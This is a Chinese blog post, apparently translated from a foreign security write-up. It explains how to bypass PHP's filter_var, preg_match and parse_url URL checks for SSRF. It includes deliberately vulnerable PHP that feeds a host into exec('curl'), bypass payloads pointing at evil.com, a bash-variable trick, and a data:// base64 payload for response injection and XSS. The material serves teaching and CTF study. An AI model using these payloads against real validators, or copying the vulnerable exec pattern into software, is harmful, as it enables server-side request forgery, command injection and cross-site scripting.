php parse url ctf,【SSRF】如何绕过filter_var(), preg_match() 和 parse_url()

0x01 前言

这篇文章是在我看完一片国外安全大佬写的文章后对其进行总结并翻译得到的。

0x02 正文之绕过filter_var和preg_match

本片文章主要深入一种php ssrf的技术——如何绕过例如filter_var(), preg_match()和parse_url()等函数。

本次我进行测试的php版本全部为php v5.6.30

80ce73919edb

php-version

PHP 漏洞代码

echo "Argument: ".$argv[1]."\n";

//check if argument is a valid URL

if(filter_var($argv[1], FILTER_VALIDATE_URL)){

//parse URL

$r = parse_url($argv[1]);

print_r($r);

//check if host ends with google.com

if(preg_match('/baidu\.com$/', $r['host'])){

//get page from URL

exec('curl -v -s "'.$r['host'].'"', $a);

print_r($a);

}else{

echo "Error: Host not allowed";

}

}else{

echo "Error: Invalid URL";

}

?>

这段代码里使用了filter_var()函数,preg_match()函数来进行过滤,并用parse_url()函数进行解析,最后利用exec函数执行curl命令进行访问网址。

在正式介绍绕过技术之前,我们需要了解一下以上函数的具体作用。

filter_var()

filter_var — 使用特定的过滤器过滤一个变量

80ce73919edb

FILTER_VALIDATE_URL

preg_match()

该函数使用正则表达式来进行匹配特定的字符串

parse_url()

80ce73919edb

parse_url

ok,了解了这些函数后,说说上面的测试代码。这段代码的是获取第一个参数(这个参数是用来模拟通过$_GET或者$_POST方法获取的),然后通过filter_var()函数判断传入的url时候符合规定。如果如何规定,通过parse_url来解析这个参数,获取到host值,通过preg_match函数来判断host时候以baidu.com结尾。

运行上面的代码得到的正常结果取下:

80ce73919edb

如果不是正常的参数呢?

http://evil.com

80ce73919edb

绕过FILTER_VALIDATE_URL和正则表达式

许多URL结构保留一些特殊的字符用来表示特殊的含义,这些符号在URL中不同的位置有着其特殊的语义。字符“;”, “/”, “?”, “:”, “@”, “=” 和“&”是被保留的。除了分层路径中的点段,通用语法将路径段视为不透明。 生成URI的应用程序通常使用段中允许的保留字符来分隔。例如“;”和“=”用来分割参数和参数值。逗号也有着类似的作用。

例如,有的结构使用name;v=1.1来表示name的version是1.1,然而还可以使用name,1.1来表示相同的意思。当然对于URL来说,这些保留的符号还是要看URL的算法来表示他们的作用。

运行代码试一下

80ce73919edb

发现报错了,返回的是Invalid URL,那么因该是filter_var函数没有绕过。filter_var函数可以解析多种协议,我们可以试一下不是http的协议,例如

0://evil.com;baidu.com

80ce73919edb

ok,成功绕过filter_var和preg_match函数!但是我们发现它并没有解析我们的url,别担心,我们试试添加一下端口号,因为不是http的话默认端口就不是80了

0://evil.com:80;baidu.com:80

80ce73919edb

ok,成功解析!

当然,我们之前说的逗号也是可以跟分号是一个作用的

80ce73919edb

依旧成功!

0x03 正文之绕过parse_url

parse_url函数不是用来验证URL的正确性的,而是尽可能的去解析URL,并把URL分割成特定的部分。在这种情况下,可以使用将URL的部分变为变量从而进行绕过。

0://evil$baidu.com

80ce73919edb

这里,在bash中,$var是一个变量,在这个例子中$baidu这个变量未定义是个空,也就是说这个URL是0://evil.com,也就是0://evil.com,成功绕过!

但是这种方法也是有局限性的,因为需要利用bash中的特性,因此只有在php脚本中使用exec()、system()等命令执行的函数执行curl或者wget命令时才可以完成。

0x04 正文之data://伪协议和xss利用

与上面的exec不同,这里我们使用的是filter_get_content函数,php的测试代码如下:

echo "Argument: ".$argv[1]."\n";

// check if argument is a valid URL

if(filter_var($argv[1], FILTER_VALIDATE_URL)) {

// parse URL

$r = parse_url($argv[1]);

print_r($r);

// check if host ends with google.com

if(preg_match('/baidu\.com$/', $r['host'])) {

// get page from URL

$a = file_get_contents($argv[1]);

echo($a);

} else {

echo "Error: Host not allowed";

}

} else {

echo "Error: Invalid URL";

}

?>

这次我们的任务是在响应主体中修改内容,添加一个“Hacked by Pino_HD”

data://text/plain;base64,SGFja2VkIGJ5IFBpbm8Kbaidu.com

80ce73919edb

发现parse_url函数把text设置成了host,然后报了Host not allowed错误。但是别担心,我们可以注入一些东西到MIME类型的地方,因为php是不关心MIME类型的。。

data://baidu.com/plain;base64,SGFja2VkIGJ5IFBpbm8K

80ce73919edb

ok,成功在响应包中写入我们想要写的东西。因此我们是可以控制响应体的内容,从而形成xss

80ce73919edb

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532263.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python json解析_python读取json文件并解析

原博文 2018-07-09 18:35 − # -*- coding: utf-8 -*- import os import json import sys reload(sys) sys.setdefaultencoding(utf-8) filelistos.listdir(E:\\log\\files\\) for ite... 相关推荐 2019-12-05 20:03 − 如何使用 Python 语言来编码和解码 JSON 对象。 JSON(Jav…

oracle进程瞬间暴增,oracle goldengate ogg 源段传输进程lag延迟不断增加的原因?

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼了解GoldenGate中LAG的含义GGSCI中显示的LAG代表 事务被写入到磁盘介质中的时刻例如Oracle中redo被写入到online redo logfile中 和 Replicat将同一个事务分发到目标数据库的时刻 之间的时间间隔。通俗地说,一个事务内的…

python中文词云图代码_Python简单实现词云图代码及步骤解析

一、安装 wordcloud pip install wordcloud 二、加载包、设置路径 import os from wordcloud import WordCloud import matplotlib.pyplot as plt os.chdir(E:\\pyspace\\tmp) 三、词云图示例 1、默认参数示例 text Keep it simple and stupid. wc WordCloud() # 实例化词云图…

linux 命令 空格转义,在Linux中,如何转义SCP复制路径中的空格?

问题描述我是Linux新手,我想将文件从远程复制到本地系统…现在,我在Linux系统中使用scp命令。当我尝试将其复制时,我有一些文件夹或文件名带有空格文件,它显示错误消息:“没有这样的文件或目录”我试过了:s…

usb大容量存储设备驱动程序_20年历史了!为什么USB接口还存在?网友:原来如此...

USB接口作为计算机领域应用最广泛的数据接口,已有20多年的历史。和它的名字一样,USB(Universal Serial Bus)最初也是为统一的数据接口而设计的。你几乎可以用它来代替计算机的各种外部数据接口,只需为它设计相应的驱动程序。随着市场对USB接口…

linux终端炫酷命令,你不得不知道11个炫酷的 Linux 终端命令

很多朋友都很喜欢Linux ,Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户、多任务、支持多线程和多CPU的操作系统,Linux是一款免费的操作系统,用户可以通过网络或其他途径免费获得,并可…

lasso回归_一文读懂线性回归、岭回归和Lasso回归

(图片由AI科技大本营付费下载自视觉中国)作者 | 文杰编辑 | yuquanle本文介绍线性回归模型,从梯度下降和最小二乘的角度来求解线性回归问题,以概率的方式解释了线性回归为什么采用平方损失,然后介绍了线性回归中常用的两种范数来解决过拟合和…

springcloud架构特点_打造企业级微服务平台架构,分布式应用场景管理

微服务平台架构是一项在云中部署应用和服务的新技术。大部分围绕微服务的争论都集中在容器或其他技术是否能很好的实施微服务。微服务系统可以在“自己的程序”中运行,并通过“轻量级设备与HTTP型API进行沟通”。关键在于该服务可以在自己的程序中运行。通过这一点我…

linux 看防火墙的启停日志,LINUX下防火墙iptables的日志管理

iptables的日志(log)由syslogd纪录和管理。初始存放在 /var/log/messages里面。自动采取循环纪录(rotation)的方式记录。但是由于混在 messages中,对于管理和监视产生了不便。这里,我简单介绍一下我的 iptables日志的管理,循环,和…

怎么判断一个字符串的最长回文子串是否在头尾_LeetCode 5 迅速判断回文串的Manacher算法...

本文始发于个人公众号: TechFlow题意Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000.Link: https://leetcode.com/problems/longest-palindromic-substring/翻译给定一个字符串s&#xff0c…

linux内核没有iobuf,LINUX2.6.26.6内核下双口RAM的驱动函数测试成功!

驱动程序:#include //#include #include #include #include #include #include #include //#include #include //#include #include #include #include #include //#include #include #include #include #include #include #include #include MODULE_LICENSE("…

spring和mybatis结合做简单的增删查改系统_springbootamp;amp;vue简单的景点信息管理系统...

springboot&&vue简单的景点信息管理系统这两天闲着没有什么事,就根据陈哥的教程,试着写了一个springboot和vue的简单的景点信息管理系统。也就大致实现了最基本的增删查改。先看看效果图吧:1、登陆界面: 2、注册界面&…

linux 内核 丢弃分片包,LINUX内核关于IP分片重组问题请教

最近研究学习IP分片重组,也拜读了不少dx的阅读理解。可还是有疑问,请教xdm。源代码:linux-2.4.26\linux-2.4.26\net\ipv4\ip_fragment.cIP分片的重组大概经过以下几个函数:0/ ip_defrag1/ ip_find-->ip_frag_create-->ip_frag_intern2/…

spark算子_十、Spark之详解Action类算子

常用Action类算子列表reduce(func): 通过func函数来对RDD中所有元素进行聚合运算,先运算分区内数据,再运算分区间数据。scala> val rdd1 sc.makeRDD(1 to 100)rdd1: org.apache.spark.rdd.RDD[Int] ParallelCollectionRDD[4] at makeRDD at :24# 对…

linux 库函数 劫持,Linux hook技术之-Ring3下动态链接库.so函数劫持

劫持普通函数当然没有什么意思了!我们要劫持的是系统函数!我们知道,Unix操作系统中对于GCC而言,默认情况下,所编译的程序中对标准C函数(fopen、printf、execv家族等等函数)的链接,都是通过动态链接方式来链…

await原理 js_「速围」Node.js V14.3.0 发布支持顶级 Await 和 REPL 增强功能

本周,Nodejs v14.3.0 发布。这个版本包括添加顶级 Await、REPL 增强等功能。REPL 增强通过自动补全改进对 REPL 的预览支持,例如,下图中当输入 process.ver 之后,不需要输入剩下的实际内容,它帮我们生成了自动补全的输…

在linux安装requests库命令,在Linux--Ubuntu18.04环境下安装requests库

之前在服务器上装过requests库,但是记忆中花了好大的力气才成功,现在因为一次意外,服务器重装系统,现在这些乱七八糟的库又要重装一遍,与上次不同的是,这次我装一遍就成功了。现在分享一下成功的经历。Pyth…

linux输入ls后不显示_零基础学习之Linux基础命令小结

安装完重启后,没有像sery所说在图形界面崩溃了,由于我没有安装X-WINDOWS而是直接进入了文本界面。如果你想做linux管理的话,最好在文本界面下工作,这样会适应如下图:第一行显示的是我们所安装的linux是Red Hat 企业4第二行显示的是…

redhat enterprise linux 哪个版本好,Red Hat Enterprise Linux 版本显示中(Santiago)是啥意思?...

楼主的逻辑还有问题。1、linux跟windows都是一种操作系统,但是它用的分区格式是ext3的,ntfs和fat都不合适。安装过程中你可以自己选择删除现有分区创建新分区,但如果你不了解,很可能把所有的分区都清了。2、redhat分区多大合适看你…

.gitignore文件_【第1739期】为Git仓库里的.idea文件夹正名

前言.idea该不该提交到代码仓库中呢?你的意见呢?今日早读文章由《Flask Web开发》作者李辉分享。正文从这开始~~在网络上,我曾多次看到人们对于Git仓库中的.idea文件夹的偏见。最近的一次是在某个博客中技术专家对于志…